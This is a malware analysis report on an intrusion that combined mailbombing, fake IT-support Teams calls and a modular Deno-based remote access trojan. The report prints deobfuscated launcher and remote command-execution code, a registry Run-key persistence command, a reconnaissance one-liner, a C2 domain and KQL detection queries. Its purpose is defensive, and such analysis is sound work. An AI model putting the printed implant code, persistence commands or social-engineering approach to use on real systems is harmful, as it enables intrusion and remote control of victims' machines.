Executive Summary#

In a recent investigation, we encountered malware that combined aggressive social engineering with the unconventional use of Deno, a secure JavaScript and TypeScript runtime built on V8.

The attack began with a large-scale email flooding campaign, commonly referred to as mailbombing, designed to overwhelm employees and create confusion. Shortly afterward, the targeted users received Microsoft Teams calls from an attacker impersonating internal IT support. One employee engaged with the caller and was persuaded to download and execute a malicious archive from a fake self-service portal.

The payload was not a traditional compiled implant. Instead, it consisted of a modular Deno-based Remote Access Trojan and proxy framework split across four JavaScript files. The JavaScript files implement a Deno-based remote access and tunneling agent. The launcher starts three child Deno processes. The main backdoor connects to a CloudFront-hosted WebSocket C2 endpoint, registers victim identity metadata, receives commands, and brokers traffic through local helper services. The local helper services provide arbitrary Windows command execution and generic TCP socket forwarding.

Although endpoint protection was active on the host, the implant and its command-and-control channel were not initially blocked. Detection occurred later, during follow-on reconnaissance activity. This case highlights the need to monitor not only payload binaries, but also scripting runtimes, unusual permission flags, local loopback services, and suspicious use of legitimate collaboration platforms.

Introduction#

Threat actors increasingly shift from compiled payloads to scripting engines and runtimes for their cross-platform flexibility and lower detection. While mailbombing and fake IT support campaigns have become increasingly common, this intrusion stood out because the attacker deployed a modular Deno-based RAT and proxy framework rather than a traditional compiled implant.

This malware is a modular Remote Access Trojan (RAT) and proxy that leverages Deno’s web APIs to build a microservice-like system on infected hosts using local loopback HTTP servers. Here, we break down its obfuscation, execution flow, and the four core modules.

Although an EDR was active on the compromised host, it did not raise an alert about the C2 communication or the implant, but only about subsequent LDAP queries and certificate-related reconnaissance activities. Therefore, if an attacker were to put more thought into the techniques used, the C2 channel could likely remain undetected for a longer period.

Initial Access: Mailbombing Followed by Fake IT Support#

The intrusion began with a high-volume email flooding campaign against three employees. Over the course of a day, the victims received hundreds of emails. While the email gateway filtered many of them, a significant number still reached users’ inboxes.

This activity served two purposes. First, it created user fatigue. Second, it established a plausible reason for “IT support” to contact the affected employees.

Shortly after the mail bombing began, the targeted users received Microsoft Teams calls from an external account impersonating help desk personnel. Two users missed the call. One answered.

The attacker presented themselves as an IT support agent responding to the email issue. They used internal company context and employee names, likely gathered from public sources such as LinkedIn, to increase credibility. This social engineering approach was effective because it aligned with the user’s immediate experience: their inbox was visibly under attack, and someone claiming to be IT support was offering help.

Malware Delivery#

The victim was directed to a fake self-service portal that mimicked a legitimate support workflow. The page instructed the user to download a file. This file was named patch09913.b. Despite the nonstandard extension, file analysis showed it was an archive that could be extracted with Windows tar.

The user was instructed to extract the ZIP archive into their AppData\Roaming\DenoJSEnv directory. Following the extraction, the primary payload was executed:

conhost  --headless C:\Users\user.name\AppData\Roaming\DenoJSEnv\deno.exe --allow-run C:\Users\user.name\AppData\Roaming\DenoJSEnv\app.js

Why Deno Matters#

Deno is secure by default. Unlike Node.js, it requires explicit permission flags for access to sensitive resources such as the file system, network, environment variables, and process execution.

The malware author adapted to this model by splitting functionality across several scripts and launching each with role-specific permissions.

This produced a modular architecture:

This design is operationally useful for the attacker. If one component fails, the rest of the implant may continue operating. It also complicates analysis because no single module contains the entire malware capability.

String Array Shifting#

All four JavaScript files were heavily obfuscated using a common JavaScript technique known as string array shifting, also referred to as array rotation.

This technique stores strings in an array, repeatedly rotates or indexes the array at runtime, and reconstructs meaningful values only during execution. The goal is to defeat straightforward static analysis. Security tools and analysts searching for suspicious URLs, command-line arguments, registry paths, or endpoint names may initially encounter only scrambled strings.

Although this technique is not sophisticated by itself, it remains effective against brittle detections that rely on static strings or simple regular expressions. If a security product or analyst uses strings or regex to look for malicious URLs or command-line arguments, they will find nothing but gibberish (well, almost nothing, as we still see some readable strings in the image below).

Example from the obfuscated app.js sample:

A more resilient detection strategy should focus on behavior, including:

• Deno launched from user-writable directories.
• Deno executed with --allow-run, --allow-env, or --allow-net.
• Local HTTP services bound to loopback interfaces.
• Scripting runtimes spawning cmd.exe.
• conhost.exe --headless launching or wrapping unusual child processes.

Module Analysis#

// Gets the path to deno.exe
const fullPath = Deno.execPath();
const workingDirectory = stripPath(fullPath);

// Launch the C2 Bridge (Requires execution and network)
const main = Deno.run({
    cmd: [fullPath, 'run', '--unsafely-ignore-certificate-errors', '--allow-run', 'back.js'],
    cwd: workingDirectory,
    stdin: 'null', stdout: 'null', stderr: 'null'
});

// Launch the TCP Proxy (Requires only network access)
const proxy = Deno.run({
    cmd: [fullPath, 'run', '--allow-net', 'webui.js'],
    cwd: workingDirectory,
    stdin: 'null', stdout: 'null', stderr: 'null'
});

// Launch the RCE Engine (Requires execution and environment access)
const exec = Deno.run({
    cmd: [fullPath, 'run', '--allow-run', '--allow-env', 'helper.js'],
    cwd: workingDirectory,
    stdin: 'null', stdout: 'null', stderr: 'null'
});

set && ipconfig /all && route print && tasklist

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Deno_AutoRun /t REG_SZ /d "conhost.exe --headless <deno_path> --allow-run <working_dir>app.js" /f

reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Deno_AutoRun /f

Deno.serve({ hostname: '127.0.0.1', port: 10021 }, async (req) => {
    if (req.method === 'POST' && new URL(req.url).pathname === '/exec') {
        const body = await req.json();

        const commandParams = new Deno.Command('cmd', { 
            args: ['/c', ...parseArgs(body.command)], 
            stdout: 'piped', 
            stderr: 'piped' 
        });

        const { success, stdout, stderr } = await commandParams.output();

        return new Response(JSON.stringify({
            success: success,
            stdout: new TextDecoder().decode(stdout),
            stderr: new TextDecoder().decode(stderr)
        }));
    }
});

Detection Opportunities#

\AppData\Roaming\DenoJSEnv\

--allow-run
--allow-env
--allow-net
--unsafely-ignore-certificate-errors

deno.exe -> cmd.exe

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Conclusion#

This intrusion demonstrates how attackers continue to blend social engineering with legitimate runtime environments to bypass conventional assumptions about malware execution.

The use of Deno is particularly interesting. Its permission model is designed to improve security, but in this case, the attacker adapted by creating a modular implant where each component requested only the access it needed. The result was a lightweight proxy RAT composed of local services, loopback HTTP APIs, and an outbound WebSocket bridge.

The broader lesson is clear: defenders should not focus only on file hashes or traditional malware families. Effective detection requires correlation across identity, email, endpoint, process, registry, and network telemetry.

In this case, the strongest signals were not hidden in the obfuscated JavaScript. They were visible in the surrounding behavior: a mailbombing campaign, an external Teams impersonation event, Deno executing from %APPDATA%, suspicious permission flags, loopback listeners, and a headless console process used to keep the implant out of sight.

Indicators of Compromise#

KQL Queries#

Process

DeviceProcessEvents
| where FileName =~ "deno.exe"
   and  ProcessCommandLine has_any ("--allow-run", "--allow-net", "--allow-env", "--unsafely-ignore-certificate-errors")

Network

DeviceNetworkEvents
| where InitiatingProcessFileName =~ "deno.exe"
| where RemoteUrl has "cloudfront.net"
   or RemoteUrl has "d2cff16eusb8mg.cloudfront.net"

Persistence

DeviceRegistryEvents
| where RegistryKey has @"Software\Microsoft\Windows\CurrentVersion\Run"
| where RegistryValueName =~ "Deno_AutoRun"
   or RegistryValueData has "deno.exe"

MITRE Mapping#